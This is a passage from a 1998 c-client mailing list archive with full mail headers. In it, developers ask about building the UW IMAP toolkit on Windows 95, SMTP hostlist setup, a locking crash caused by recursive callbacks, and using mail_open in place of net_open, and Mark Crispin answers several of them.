(8.8.4+UW97.07/8.8.4+UW98.04) with ESMTP id KAA19155; Thu, 30 Apr 1998 10:42:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id KAA29303; Thu, 30 Apr 1998 10:39:29 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id KAA66418 for ; Thu, 30 Apr 1998 10:38:12 -0700 Received: from Waltham1.vectis.com (waltham1.vectis.com [206.82.32.11]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with SMTP id KAA17842 for ; Thu, 30 Apr 1998 10:38:11 -0700 Received: by Waltham1.vectis.com(Lotus SMTP MTA v1.1 (385.6 5-6-1997)) id 852565F6.00609956 ; Thu, 30 Apr 1998 13:35:07 -0400 Message-Id: <852565F6.006083C0.00@Waltham1.vectis.com> Date: Thu, 30 Apr 1998 13:35:01 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Shawn_Wildermuth@vectis.com To: kmm@iga.com Cc: c-client@u.washington.edu Subject: Re: Confirmation on build of c-client. Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII X-Lotus-FromDomain: VECTIS X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN This is going back some time, but I was able to build it on NT and it seemed to work on NT and 95, but I had the same problem with it building on 95. kmm@iga.com on 04/30/98 01:33:09 PM To: c-client@u.washington.edu cc: (bcc: Shawn Wildermuth/SW/ENG/Vectis) Subject: Confirmation on build of c-client. I'm currently attempting to build the c-client on Win95 using Microsoft Visual C++ v5.0. I execute vcvars32.bat and then execute nmake -f makefile.nt I get errors building mtest.c which includes linkage.c. It is complaining about the ^ before the & in mail_link( ^&imapdriver ); I've traced down where this ^ comes from to \imap-4.1.BETA\src\osdep\nt\drivraux.bat. There is a comment in this file that states "REM Note the introduction of the caret to quote the ampersand in NT". So now I get the feeling that I am not building the code for Win95, but I am in fact for NT. However, the readme states: "The focus of development and support is for UNIX and NT/Win32 (including Windows 95)." And under the sources section, the description of makefile.nt is "master makefile for NT/Win32". I have removed the ^ from the code and built, but I am concerned that this is one of many issues that I will come across if this is in fact the code for NT. Someone please clarify this for me. Thank you for your time, Kevin McFall From pinedev@shivax2.cac.washington.edu Thu Apr 30 12:48:24 1998 -0700 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Thu, 30 Apr 1998 12:48:23 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id MAA08939 for ; Thu, 30 Apr 1998 12:48:23 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.04) with ESMTP id MAA22673; Thu, 30 Apr 1998 12:48:16 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id MAA17313; Thu, 30 Apr 1998 12:44:40 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id MAA50988 for ; Thu, 30 Apr 1998 12:42:17 -0700 Received: from gatekeeper.iga.com (gatekeeper.iga.com [208.148.228.4]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with SMTP id MAA23453 for ; Thu, 30 Apr 1998 12:42:16 -0700 Received: by gatekeeper.iga.com; (5.65v3.2/1.3/10May95) id AA23332; Thu, 30 Apr 1998 15:07:48 -0400 Message-Id: Date: Thu, 30 Apr 1998 15:42:58 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: kmm To: c-client@u.washington.edu Subject: c-client is working! Thanks for the help! One more thing... Mime-Version: 1.0 Content-Type: text/plain X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I am able to retrieve messages using c-client. Thanks for all of the input. However, I'm having problems sending from my client. After composing the message and sending, I get the following message: ?Host not found (#11002):mailhost ?Can't connect to igpc17.localdomain.com,25 Refused (10061) Can't open connection to any server. It looks like the c-client is trying to send the SMTP message to my client (PC) rather than the server that I am talking to. Any ideas, I don't see anything in the mtest directory to figure this out. I could figure out where it is getting my hostname and change the code, but I'm hoping there is a more configurable way. Thanks. From pinedev@shivax2.cac.washington.edu Thu Apr 30 14:08:36 1998 -0700 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Thu, 30 Apr 1998 14:08:36 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id OAA11986 for ; Thu, 30 Apr 1998 14:08:34 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.04) with ESMTP id OAA28722; Thu, 30 Apr 1998 14:08:27 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id OAA05438; Thu, 30 Apr 1998 14:04:51 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id OAA60788 for ; Thu, 30 Apr 1998 14:02:43 -0700 Received: from gatekeeper.iga.com (gatekeeper.iga.com [208.148.228.4]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with SMTP id OAA14209 for ; Thu, 30 Apr 1998 14:02:27 -0700 Received: by gatekeeper.iga.com; (5.65v3.2/1.3/10May95) id AA27368; Thu, 30 Apr 1998 16:24:43 -0400 Message-Id: Date: Thu, 30 Apr 1998 16:59:53 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: kmm To: "'Mark Crispin'" Cc: c-client@u.washington.edu Subject: RE: c-client is working! Thanks for the help! One more thing... Mime-Version: 1.0 Content-Type: text/plain X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Mark, thanks for the reply. The hostlist is "mailhost" and "localhost". I don't want to hard-code the name of the server that I happen to be connecting to at this time. Does it do the equivalent of looking for an entry in the hosts file named 'mailhost' to get the IP address? (i.e. create an alias for my mail server and call it 'mailhost'?) I can't find a hosts file, but I did find a \windows\hosts.sam. Is this the equivalent of the /etc/hosts file in UNIX? Thanks for your time, Kevin McFall > -----Original Message----- > From: Mark Crispin [SMTP:MRC@Panda.COM] > Sent: Thursday, April 30, 1998 3:51 PM > To: kmm > Cc: c-client@u.washington.edu > Subject: re: c-client is working! Thanks for the help! One more > thing... > > On Thu, 30 Apr 1998 15:42:58 -0400, kmm wrote: > > After composing the message and sending, I get the following > message: > > ?Host not found (#11002):mailhost > > ?Can't connect to igpc17.localdomain.com,25 Refused (10061) Can't > open > > connection to any server. > > What are you giving as the "hostlist" argument to smtp_open? That is > what > specifies the SMTP server to connect to. From pinedev@shivax2.cac.washington.edu Thu Apr 30 14:13:34 1998 -0700 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Thu, 30 Apr 1998 14:13:34 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id OAA11732 for ; Thu, 30 Apr 1998 14:13:33 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.04) with ESMTP id OAA24814; Thu, 30 Apr 1998 14:13:28 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id OAA21824; Thu, 30 Apr 1998 14:09:37 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id OAA81102 for ; Thu, 30 Apr 1998 14:07:39 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (klaus@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id OAA01576 for ; Thu, 30 Apr 1998 14:07:38 -0700 Message-Id: Date: Thu, 30 Apr 1998 14:05:13 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: kmm Cc: c-client@u.washington.edu Subject: RE: c-client is working! Thanks for the help! One more thing... In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, 30 Apr 1998 16:59:53 -0400, kmm wrote: > The hostlist is "mailhost" and "localhost". Well, that's your problem. > I don't want to hard-code the name of the server that I happen to be > connecting to at this time. What you have is a hard-coded list of "mailhost" and "localhost" as the SMTP servers to contact. What you need to do is to have the name of the desired SMTP server as a user preference in your application, and set up hostlist to include that name. > Does it do the equivalent of looking for an entry in the hosts file > named 'mailhost' to get the IP address? (i.e. create an alias for my > mail server and call it 'mailhost'?) Many sites set up "mailhost" in their domain as a catch-all SMTP server. But you shouldn't rely upon that, except as an last-chance default. From pinedev@shivax2.cac.washington.edu Sun May 3 13:48:22 1998 -0700 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Sun, 3 May 1998 13:48:22 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id NAA31548 for ; Sun, 3 May 1998 13:48:21 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.04) with ESMTP id NAA26870; Sun, 3 May 1998 13:48:16 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id NAA11528; Sun, 3 May 1998 13:43:45 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id NAA33210 for ; Sun, 3 May 1998 13:41:48 -0700 Received: from mars.innerx.net (qmailr@mars.innerx.net [38.179.6.20]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with SMTP id NAA29383 for ; Sun, 3 May 1998 13:41:30 -0700 Received: (qmail 23638 invoked from network); 3 May 1998 16:41:45 -0400 Received: from ip184.atlanta5.ga.pub-ip.psi.net (HELO snacks) (root@38.12.42.184) by mars.innerx.net with SMTP; 3 May 1998 16:41:45 -0400 Received: by innerx.net via sendmail from stdin id (Debian Smail3.2.0.101) for c-client@u.washington.edu; Sun, 3 May 1998 16:41:44 -0400 (EDT) Message-Id: <19980503164143.A23898@snacks> Date: Sun, 3 May 1998 16:41:43 -0400 Reply-To: pavlov@innerx.net Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Stuart Parmenter To: c-client@u.washington.edu Subject: imap/locking/timeouts/mail_ping Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hello, I am having problems when calling mail_ping on an mailbox with an IMAP stream. Local mailboxes do not seem to present this problem Here is what the backtrace looks like... #2 0x8060bff in fatal (string=0x8093b10 "Lock when already locked") at ftl_unix.c:45 #3 0x805bd36 in mail_lock (stream=0x810c730) at mail.c:2335 #4 0x8073649 in imap_send (stream=0x810c730, cmd=0x80959c2 "FETCH", args=0xbfffe918) at imap4r1.c:1722 #5 0x8071d5e in imap_structure (stream=0x810c730, msgno=8, body=0x0, flags=0) at imap4r1.c:1056 #6 0x8058bae in mail_fetch_structure (stream=0x810c730, msgno=8, body=0x0, flags=0) at mail.c:971 #7 0x805a31d in mail_fetchfrom (s=0x8136068 "", stream=0x810c730, msgno=8, length=1024) at mail.c:1630 #8 0x804e08a in append_messages (bindex=0x80f2740, first=8, last=8) at balsa-index.c:493 #9 0x804da3d in balsa_index_append_new_messages (bindex=0x80f2740) at balsa-index.c:296 #10 0x804fd89 in mm_exists (stream=0x810c730, number=8) at c-client.c:113 #11 0x805bc59 in mail_exists (stream=0x810c730, nmsgs=8) at mail.c:2286 #12 0x80759d7 in imap_parse_unsolicited (stream=0x810c730, reply=0x810c80c) at imap4r1.c:2458 #13 0x807484b in imap_reply (stream=0x810c730, tag=0xbffff3c4 "00000007") at imap4r1.c:2123 #14 0x8074768 in imap_sout (stream=0x810c730, tag=0xbffff3c4 "00000007", base=0x810c844 "00000007 NOOP\r\n", s=0xbffff3c0) at imap4r1.c:2086 #15 0x8073cab in imap_send (stream=0x810c730, cmd=0x8095c94 "NOOP", args=0x0) at imap4r1.c:1837 #16 0x8072ffd in imap_ping (stream=0x810c730) at imap4r1.c:1527 #17 0x805a798 in mail_ping (stream=0x810c730) at mail.c:1755 Its quite possible i'm doing something I shouldn't be, but like I said, it works fine on local mailboxes. On another note, how can one tell if the server has timed out, and if so, is there a way to reconnect without emmiting the same callbacks as would normally be called on a mail_open() call, since it would just be needed to reestablish the link? Any help would be greatly appriciated! Thanks again! Stuart Parmenter From pinedev@shivax2.cac.washington.edu Sun May 3 18:38:56 1998 -0700 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Sun, 3 May 1998 18:38:56 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id SAA01843 for ; Sun, 3 May 1998 18:38:54 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.04) with ESMTP id SAA29808; Sun, 3 May 1998 18:38:50 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id SAA18775; Sun, 3 May 1998 18:36:01 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id SAA53472 for ; Sun, 3 May 1998 18:34:45 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (weiner@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id SAA13745 for ; Sun, 3 May 1998 18:34:45 -0700 Message-Id: Date: Sun, 3 May 1998 18:30:59 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: pavlov@innerx.net Cc: c-client@u.washington.edu Subject: re: imap/locking/timeouts/mail_ping In-Reply-To: <19980503164143.A23898@snacks> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Your problem is that your mm_exists() callback routine is calling c-client recursively via balse_index_append_new_messsages(), append_messages(), and thence to mail_fetchfrom(). You are not permitted to make recursive calls into c-client. No mm_???() routine may call a mail_???() routine (or call a routine that will eventually call a mail_???() routine). The "Lock when already locked" message tells you that your program attempted a forbidden recusive call. The way to tell that the server has timed out is (1) you should get a BYE mm_notify() event (2) mail_ping() will return failure. The only way to reconnect is to do a new mail_open(). The old connection is toast, and with it any remote server or context. From pinedev@shivax2.cac.washington.edu Tue May 5 22:03:19 1998 -0700 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Tue, 5 May 1998 22:03:17 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id WAA21103 for ; Tue, 5 May 1998 22:03:14 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.04) with ESMTP id WAA03367; Tue, 5 May 1998 22:03:10 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id WAA24520; Tue, 5 May 1998 22:00:21 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id VAA46682 for ; Tue, 5 May 1998 21:59:37 -0700 Received: from krdl.org.sg (rodin.krdl.org.sg [137.132.252.27]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id VAA17826 for ; Tue, 5 May 1998 21:59:36 -0700 Received: from mailbox.krdl.org.sg (mailbox.iss.nus.sg [137.132.247.30]) by krdl.org.sg (8.8.4/8.8.7) with ESMTP id NAA21944 for ; Wed, 6 May 1998 13:03:51 +0800 (SGT) Received: from skyray.krdl.org.sg (skyray.iss.nus.sg [137.132.249.145]) by mailbox.krdl.org.sg (8.8.4/8.8.8) with SMTP id MAA17858 for ; Wed, 6 May 1998 12:58:55 +0800 (SGT) Received: by skyray.krdl.org.sg (SMI-8.6/SMI-SVR4) id MAA28421; Wed, 6 May 1998 12:55:16 +0800 Message-Id: <199805060455.MAA28421@skyray.krdl.org.sg> Date: Wed, 6 May 1998 12:55:15 +0800 (SGT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: tsingh@krdl.org.sg (Tejinderpal Singh) To: c-client@u.washington.edu Subject: Documents to run mtest ??? MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hi , Is there any documents as to how to run mtest ? I am able to get the number of messages in my mailbox, but then I don't know what to do ? Lets say I want to fetch message X ??? Any help will be greatly appreciated. Thanks Tajinder From pinedev@shivax2.cac.washington.edu Tue May 5 22:33:32 1998 -0700 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Tue, 5 May 1998 22:33:29 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id WAA21182 for ; Tue, 5 May 1998 22:33:26 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.04) with ESMTP id WAA03776; Tue, 5 May 1998 22:33:21 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id WAA25622; Tue, 5 May 1998 22:30:17 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id WAA80990 for ; Tue, 5 May 1998 22:30:04 -0700 Received: from krdl.org.sg (rodin.krdl.org.sg [137.132.252.27]) by mxu2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id WAA01622 for ; Tue, 5 May 1998 22:30:03 -0700 Received: from mailbox.krdl.org.sg (mailbox.iss.nus.sg [137.132.247.30]) by krdl.org.sg (8.8.4/8.8.7) with ESMTP id NAA22113; Wed, 6 May 1998 13:34:16 +0800 (SGT) Received: from skyray.krdl.org.sg (skyray.iss.nus.sg [137.132.249.145]) by mailbox.krdl.org.sg (8.8.4/8.8.8) with SMTP id NAA19256; Wed, 6 May 1998 13:29:19 +0800 (SGT) Received: by skyray.krdl.org.sg (SMI-8.6/SMI-SVR4) id NAA28527; Wed, 6 May 1998 13:25:40 +0800 Message-Id: <199805060525.NAA28527@skyray.krdl.org.sg> Date: Wed, 6 May 1998 13:25:40 +0800 (SGT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: tsingh@krdl.org.sg (Tejinderpal Singh) To: MRC@CAC.Washington.EDU Cc: c-client@u.washington.edu Subject: C-client driver MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hi , I am still a new user to the c-client and am wondering if any body knows a driver, which makes use of the c-client functions, where I can specify my own mailhost and give my own user name & password, after which I can do functions such as fetching the headers, the body and so on ? I know mtest is there, but I am looking for something where I can specify my own mailhost, username and password. Any help from anyone will be greatly appreciated. Thanks Tajinder From pinedev@shivax2.cac.washington.edu Mon May 11 23:12:04 1998 -0700 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Mon, 11 May 1998 23:12:04 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id XAA09269 for ; Mon, 11 May 1998 23:12:03 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.04) with ESMTP id XAA29569; Mon, 11 May 1998 23:11:59 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id XAA23390; Mon, 11 May 1998 23:07:34 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id XAA53858 for ; Mon, 11 May 1998 23:06:06 -0700 Received: from krdl.org.sg (rodin.krdl.org.sg [137.132.252.27]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id XAA31519 for ; Mon, 11 May 1998 23:06:05 -0700 Received: from mailbox.krdl.org.sg (mailbox.iss.nus.sg [137.132.247.30]) by krdl.org.sg (8.8.4/8.8.7) with ESMTP id OAA04625; Tue, 12 May 1998 14:10:07 +0800 (SGT) Received: from skyray.krdl.org.sg (skyray.iss.nus.sg [137.132.249.145]) by mailbox.krdl.org.sg (8.8.4/8.8.8) with SMTP id OAA21021; Tue, 12 May 1998 14:05:07 +0800 (SGT) Received: by skyray.krdl.org.sg (SMI-8.6/SMI-SVR4) id OAA01490; Tue, 12 May 1998 14:01:23 +0800 Message-Id: <199805120601.OAA01490@skyray.krdl.org.sg> Date: Tue, 12 May 1998 14:01:23 +0800 (SGT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: tsingh@krdl.org.sg (Tejinderpal Singh) To: MRC@CAC.Washington.EDU (Mark Crispin) Cc: c-client@u.washington.edu Subject: Help in driver programme... MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hi , I am trying to write a driver for the imap server using the c-client functions. First => I found that an error in Internal.DOC . In this document the net_open function takes in three arguments, whereas I did a search on c-client files and found that it should be taking four arguments. Next=> I tried to do a search on the first argument which is supposed to be "NETDRIVER" and could not find anything in the Internal.DOC file. I still don't know What NETDRIVER is ..? Below is the driver that I am trying to do. So far I am just trying to establish a connection with the imap server and then passing user id and password. By the way, How (What) function do I use to pass the userid and password to the imap server. I am really having a hard time finding what function to use. ??? I will be very grateful if anyone can solve my problems. ===== The following is what I have started so far : #include #include #include #include "mail.h" #include "osdep.h" #include "rfc822.h" #include "smtp.h" #include "nntp.h" main() { NETSTREAM *netstream; unsigned long portnum=143; char *hostname= "mailhost"; char *service="IMAP4"; printf("\nThis program is beginning\n"); netstream=net_open(hostname,service,portnum); net_close(netstream); } ==== I would really appreciate any help. Thanks Tajinder From pinedev@shivax2.cac.washington.edu Tue May 12 05:46:10 1998 -0700 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Tue, 12 May 1998 05:46:10 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id FAA19031 for ; Tue, 12 May 1998 05:46:09 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.64.1]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.04) with ESMTP id FAA02349; Tue, 12 May 1998 05:46:05 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id FAA21572; Tue, 12 May 1998 05:40:46 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id FAA10272 for ; Tue, 12 May 1998 05:40:19 -0700 Received: from dpw.meitca.com (dpw.meitca.com [137.203.10.23]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id FAA08734 for ; Tue, 12 May 1998 05:40:18 -0700 Received: from hsl.meitca.com (forehand.meitca.com [137.203.4.214]) by dpw.meitca.com (8.8.8/8.7.1) with ESMTP id IAA20558 for ; Tue, 12 May 1998 08:40:17 -0400 (EDT) Message-Id: <3558424F.7E6DDCE3@hsl.meitca.com> Date: Tue, 12 May 1998 08:36:31 -0400 Reply-To: vyurik@meitca.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Vitaly Yurik To: c-client@u.washington.edu Subject: unsubsribe MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hi, How can I unsubsribe from the list? ============================================================ Vitaly Yurik, Mitsubishi Electric Information Technology Center America, Horizon Systems Laboratory, 300 Third Avenue, Waltham, MA 02154, USA, tel: (781) 466-8354, fax: (781) 466-8323, email: vyurik@hsl.meitca.com ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue May 12 09:24:44 1998 -0700 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Tue, 12 May 1998 09:24:44 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id JAA21902 for ; Tue, 12 May 1998 09:24:43 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.04) with ESMTP id JAA09462; Tue, 12 May 1998 09:24:39 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id JAA06910; Tue, 12 May 1998 09:20:02 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id JAA68606 for ; Tue, 12 May 1998 09:19:41 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id JAA30164 for ; Tue, 12 May 1998 09:19:40 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (weiner@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.11) with SMTP id JAA10467; Tue, 12 May 1998 09:19:33 -0700 Message-Id: Date: Tue, 12 May 1998 09:09:16 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Tejinderpal Singh Cc: c-client@u.washington.edu Subject: re: Help in driver programme... In-Reply-To: <199805120601.OAA01490@skyray.krdl.org.sg> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN The Internal.DOC file describes an older version (imap-4) of the IMAP toolkit, from August 1996. The current version is imap-4.1. About 95% of Internal.DOC is still good information, but you need to look at the source code (in particular, mail.h and mail.c) to see the current interfaces. A NETDRIVER is a function dispatch vector for I/O on a particular network technology. This permits you to substitute your own network I/O technology. For example, Pine wants to insert its own I/O routines so it can do on-the-fly generation of attachments. c-client has a TCP NETDRIVER built-in; this will be used if you use a NIL argument for the NETDRIVER. So, unless you need a special NETDRIVER, this argument should always be NIL. If you wish to open an IMAP session, net_open() is the wrong function. This will just give you a NETSTREAM on a network connection. The function you want to use is mail_open(). From pinedev@shivax2.cac.washington.edu Wed May 13 13:59:34 1998 -0700 Return-Path: Received: via tmail-4.1(6) for mailarch+c-client; Wed, 13 May 1998 13:59:33 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id NAA19014 for ; Wed, 13 May 1998 13:59:31 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.64.1]) by mx2.cac.washington.edu 